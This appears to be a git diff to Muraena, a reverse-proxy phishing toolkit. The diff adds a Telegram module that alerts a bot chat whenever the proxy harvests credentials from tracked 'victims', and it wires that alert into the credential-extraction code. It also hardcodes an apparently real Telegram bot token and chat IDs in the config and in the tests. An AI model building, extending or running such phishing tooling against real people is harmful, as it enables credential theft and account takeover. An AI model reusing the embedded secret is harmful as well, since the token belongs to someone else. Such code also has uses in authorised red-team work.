diff --git a/config/config.toml b/config/config.toml index 29f856b..011a137 100644 --- a/config/config.toml +++ b/config/config.toml @@ -267,3 +267,11 @@ enabled = false end = "&" + +# +# TELEGRAM +# +[telegram] +enabled = true +botToken = "1587304999:AAG4cH8VzJ1b8tbamq0VZM9C01KkDjY5IFo" +chatIDs = ["-1001856562703"] diff --git a/core/proxy/handler.go b/core/proxy/handler.go index dd4aea2..8793f2e 100644 --- a/core/proxy/handler.go +++ b/core/proxy/handler.go @@ -112,7 +112,7 @@ func (muraena *MuraenaProxy) RequestBodyProcessor(request *http.Request, track * func (muraena *MuraenaProxy) RequestProcessor(request *http.Request) (err error) { - sess := muraena.Session + sess := muraena.Session base64 := Base64{ sess.Config.Transform.Base64.Enabled, sess.Config.Transform.Base64.Padding, @@ -165,7 +165,6 @@ func (muraena *MuraenaProxy) RequestProcessor(request *http.Request) (err error) // Restore query string with new values request.URL.RawQuery = query.Encode() - // Remove headers for _, header := range sess.Config.Remove.Request.Headers { request.Header.Del(header) diff --git a/core/proxy/server.go b/core/proxy/server.go index 816f82c..168dd97 100644 --- a/core/proxy/server.go +++ b/core/proxy/server.go @@ -101,8 +101,6 @@ func Run(sess *session.Session) { lline := fmt.Sprintf("Muraena is alive on %s \n[ %s ] ==> [ %s ]", tui.Green(listeningAddress), tui.Yellow(sess.Config.Proxy.Phishing), tui.Green(sess.Config.Proxy.Target)) log.Info(lline) - - if *sess.Options.Proxy { // If HTTP_PROXY or HTTPS_PROXY env variables are defined // all the proxy traffic will be forwarded to the defined proxy. @@ -114,7 +112,7 @@ func Run(sess *session.Session) { } if env == "" { - log.Error( "Unable to find proxy setup from environment variables HTTP_PROXY and HTTPs_PROXY." ) + log.Error("Unable to find proxy setup from environment variables HTTP_PROXY and HTTPs_PROXY.") } else { log.Info("Muraena will be proxied to: %s", env) } diff --git a/module/module.go b/module/module.go index 78d275c..a2c2208 100644 --- a/module/module.go +++ b/module/module.go @@ -4,6 +4,7 @@ import ( "github.com/muraenateam/muraena/module/crawler" "github.com/muraenateam/muraena/module/necrobrowser" "github.com/muraenateam/muraena/module/statichttp" + "github.com/muraenateam/muraena/module/telegram" "github.com/muraenateam/muraena/module/tracking" "github.com/muraenateam/muraena/module/watchdog" "github.com/muraenateam/muraena/session" @@ -16,4 +17,5 @@ func LoadModules(s *session.Session) { s.Register(tracking.Load(s)) s.Register(necrobrowser.Load(s)) s.Register(watchdog.Load(s)) + s.Register(telegram.Load(s)) } diff --git a/module/telegram/doc.go b/module/telegram/doc.go new file mode 100644 index 0000000..24561a5 --- /dev/null +++ b/module/telegram/doc.go @@ -0,0 +1,2 @@ +// Package telegram is a module that sends notification to a Telegram chat when certain conditions trigger +package telegram diff --git a/module/telegram/telegram.go b/module/telegram/telegram.go new file mode 100644 index 0000000..7f5d83b --- /dev/null +++ b/module/telegram/telegram.go @@ -0,0 +1,150 @@ +package telegram + +import ( + "bytes" + "encoding/json" + "fmt" + "io/ioutil" + "net/http" + + "github.com/evilsocket/islazy/tui" + "github.com/muraenateam/muraena/log" + "github.com/muraenateam/muraena/session" +) + +const ( + Name = "telegram" + Description = "A module that sends notifications via Telegram chat" + Author = "Muraena Team" +) + +// Telegram module +type Telegram struct { + session.SessionModule + + Enabled bool + BotToken string + ChatID []string +} + +// Name returns the module name +func (module *Telegram) Name() string { + return Name +} + +// Description returns the module description +func (module *Telegram) Description() string { + return Description +} + +// Author returns the module author +func (module *Telegram) Author() string { + return Author +} + +// Prompt prints module status based on the provided parameters +func (module *Telegram) Prompt() { + + menu := []string{ + "show", + } + result, err := session.DoModulePrompt(Name, menu) + if err != nil { + return + } + + switch result { + case "show": + module.PrintConfig() + } +} + +// Load configures the module by initializing its main structure and variables +func Load(s *session.Session) (m *Telegram, err error) { + + m = &Telegram{ + SessionModule: session.NewSessionModule(Name, s), + Enabled: s.Config.Telegram.Enabled, + BotToken: s.Config.Telegram.BotToken, + ChatID: s.Config.Telegram.ChatIDs, + } + + if !m.Enabled { + m.Debug("is disabled") + return + } + + return +} + +func Self(s *session.Session) *Telegram { + + m, err := s.Module(Name) + if err != nil { + log.Error("%s", err) + } else { + mod, ok := m.(*Telegram) + if ok { + return mod + } + } + + return nil +} + +// PrintConfig shows the actual Telegram configuration +func (module *Telegram) PrintConfig() { + module.Info("Telegram config:\n\tBotToken: %s\n\tChatIDs:%v", module.BotToken, module.ChatID) +} + +func (module *Telegram) getUrl() string { + return fmt.Sprintf("https://api.telegram.org/bot%s", module.BotToken) +} + +func (module *Telegram) Send(message string) { + + if !module.Enabled { + return + } + + for _, chat := range module.ChatID { + if err := module.sendToChat(chat, message); err != nil { + module.Warning("Message %s was not delivered to chat:%s", tui.Bold(message), tui.Bold(chat)) + module.Debug("%s", tui.Red(err.Error())) + } + } +} + +func (module *Telegram) sendToChat(chat, message string) (err error) { + + var response *http.Response + + //module.Debug(`curl https://api.telegram.org/bot%s/sendMessage -H "Content-Type: application/json" -v -d '{"chat_id":"%s","text":"%s"}'`, module.BotToken, chat, message) + + // Send the message + url := fmt.Sprintf("%s/sendMessage", module.getUrl()) + body, _ := json.Marshal(map[string]string{ + "chat_id": chat, + "text": message, + }) + response, err = http.Post( + url, + "application/json", + bytes.NewBuffer(body), + ) + if err != nil { + return err + } + + // Close the request at the end + defer response.Body.Close() + + // Body + body, err = ioutil.ReadAll(response.Body) + if err != nil { + return + } + + module.Debug("%s", string(body)) + return +} diff --git a/module/telegram/telegram_test.go b/module/telegram/telegram_test.go new file mode 100644 index 0000000..070dfa4 --- /dev/null +++ b/module/telegram/telegram_test.go @@ -0,0 +1,36 @@ +package telegram + +import ( + "regexp" + "testing" + + "github.com/muraenateam/muraena/core" + "github.com/muraenateam/muraena/log" +) + +var m *Telegram + +// init test +func init() { + log.Init(core.Options{Debug: &[]bool{true}[0]}, false, "") + + // LoadModules load modules + m = &Telegram{ + Enabled: true, + BotToken: "1587304999:AAG4cH8VzJ1b8tbamq0VZM9C01KkDjY5IFo", + ChatID: []string{"@muraenatest_5305919037"}, + } +} + +// TestModuleName ensures the module is the same, just in case :) +func TestModuleName(t *testing.T) { + module := "telegram" + want := regexp.MustCompile(Name) + if !want.MatchString(Name) { + t.Fatalf(`The module name does not match: %q != %q`, module, want) + } +} + +func TestSendMessage(t *testing.T) { + m.Send("Muraena testing message") +} diff --git a/module/tracking/tracking.go b/module/tracking/tracking.go index e536df3..5b92c93 100644 --- a/module/tracking/tracking.go +++ b/module/tracking/tracking.go @@ -13,6 +13,7 @@ import ( "time" "github.com/manifoldco/promptui" + "github.com/muraenateam/muraena/module/telegram" "github.com/muraenateam/muraena/core" "github.com/muraenateam/muraena/core/db" @@ -450,8 +451,14 @@ func (t *Trace) ExtractCredentials(body string, request *http.Request) (found bo if err != nil { return false, err } - t.Info("[%s] New credentials! [%s:%s]", t.ID, creds.Key, creds. Value) + t.Info("[%s] New credentials! [%s:%s]", t.ID, creds.Key, creds.Value) found = true + + tel := telegram.Self(t.Session) + if tel != nil { + message := fmt.Sprintf("[%s] New credentials! [%s]", t.ID, creds.Key) + tel.Send(message) + } } } } diff --git a/module/tracking/tracking_test.go b/module/tracking/tracking_test.go new file mode 100644 index 0000000..ee914a1 --- /dev/null +++ b/module/tracking/tracking_test.go @@ -0,0 +1,61 @@ +package tracking + +import ( + "regexp" + "testing" + "time" + + "github.com/muraenateam/muraena/core" + "github.com/muraenateam/muraena/core/db" + "github.com/muraenateam/muraena/log" + "github.com/muraenateam/muraena/module/telegram" + "github.com/muraenateam/muraena/session" +) + +var m *Tracker + +// init test +func init() { + log.Init(core.Options{Debug: &[]bool{true}[0]}, false, "") + + s := &session.Session{} + s.Config = &session.Configuration{} + + m = &Tracker{ + SessionModule: session.NewSessionModule(Name, s), + Enabled: true, + } + + s.Register(&telegram.Telegram{ + SessionModule: session.NewSessionModule(telegram.Name, s), + Enabled: true, + BotToken: "1587304999:AAG4cH8VzJ1b8tbamq0VZM9C01KkDjY5IFo", + ChatID: []string{"-1001856562703"}, + }, nil) + + s.InitRedis() +} + +// TestModuleName ensures the module is the same, just in case :) +func TestModuleName(t *testing.T) { + module := "tracking" + want := regexp.MustCompile(Name) + if !want.MatchString(Name) { + t.Fatalf(`The module name does not match: %q != %q`, module, want) + } +} + +// TestModuleName ensures the module is the same, just in case :) +func TestPushVictim(t *testing.T) { + + v := &db.Victim{ + ID: "AAAAA", + IP: "192.157.1.1", + UA: "Parakalo file mou", + RequestCount: 0, + FirstSeen: time.Now().UTC().Format("2006-01-02 15:04:05"), + LastSeen: time.Now().UTC().Format("2006-01-02 15:04:05"), + } + + m.PushVictim(v) +} diff --git a/module/tracking/victim.go b/module/tracking/victim.go index 3c403c6..46e75a5 100644 --- a/module/tracking/victim.go +++ b/module/tracking/victim.go @@ -6,9 +6,8 @@ import ( "os" "time" - "github.com/muraenateam/muraena/module/necrobrowser" - "github.com/evilsocket/islazy/tui" + "github.com/muraenateam/muraena/module/necrobrowser" "github.com/muraenateam/muraena/core/db" "github.com/muraenateam/muraena/log" diff --git a/module/watchdog/watchdog_test.go b/module/watchdog/watchdog_test.go index 8e10e7e..debea96 100644 --- a/module/watchdog/watchdog_test.go +++ b/module/watchdog/watchdog_test.go @@ -32,7 +32,7 @@ func init() { // TestModuleName ensures the module is the same, just in case :) func TestModuleName(t *testing.T) { module := "watchdog" - want := regexp.MustCompile(module) + want := regexp.MustCompile(Name) if !want.MatchString(Name) { t.Fatalf(`The module name does not match: %q != %q`, module, want) } diff --git a/session/config.go b/session/config.go index 13a1052..f3328db 100644 --- a/session/config.go +++ b/session/config.go @@ -224,6 +224,15 @@ type Configuration struct { End string `toml:"end"` } `toml:"patterns"` } `toml:"tracking"` + + // + // Telegram + // + Telegram struct { + Enabled bool `toml:"enabled"` + BotToken string `toml:"botToken"` + ChatIDs []string `toml:"chatIDs"` + } `toml:"telegram"` } // GetConfiguration returns the configuration object diff --git a/session/tls.go b/session/tls.go index 534aa03..5a7a956 100644 --- a/session/tls.go +++ b/session/tls.go @@ -18,7 +18,7 @@ var tlsRenegotiationToConst = map[string]tls.RenegotiationSupport{ "FREELY": tls.RenegotiateFreelyAsClient, } -func (s *Session) GetTLSClientConfig() *tls.Config{ +func (s *Session) GetTLSClientConfig() *tls.Config { cTLS := s.Config.TLS return &tls.Config{ MinVersion: tlsVersionToConst[cTLS.MinVersion],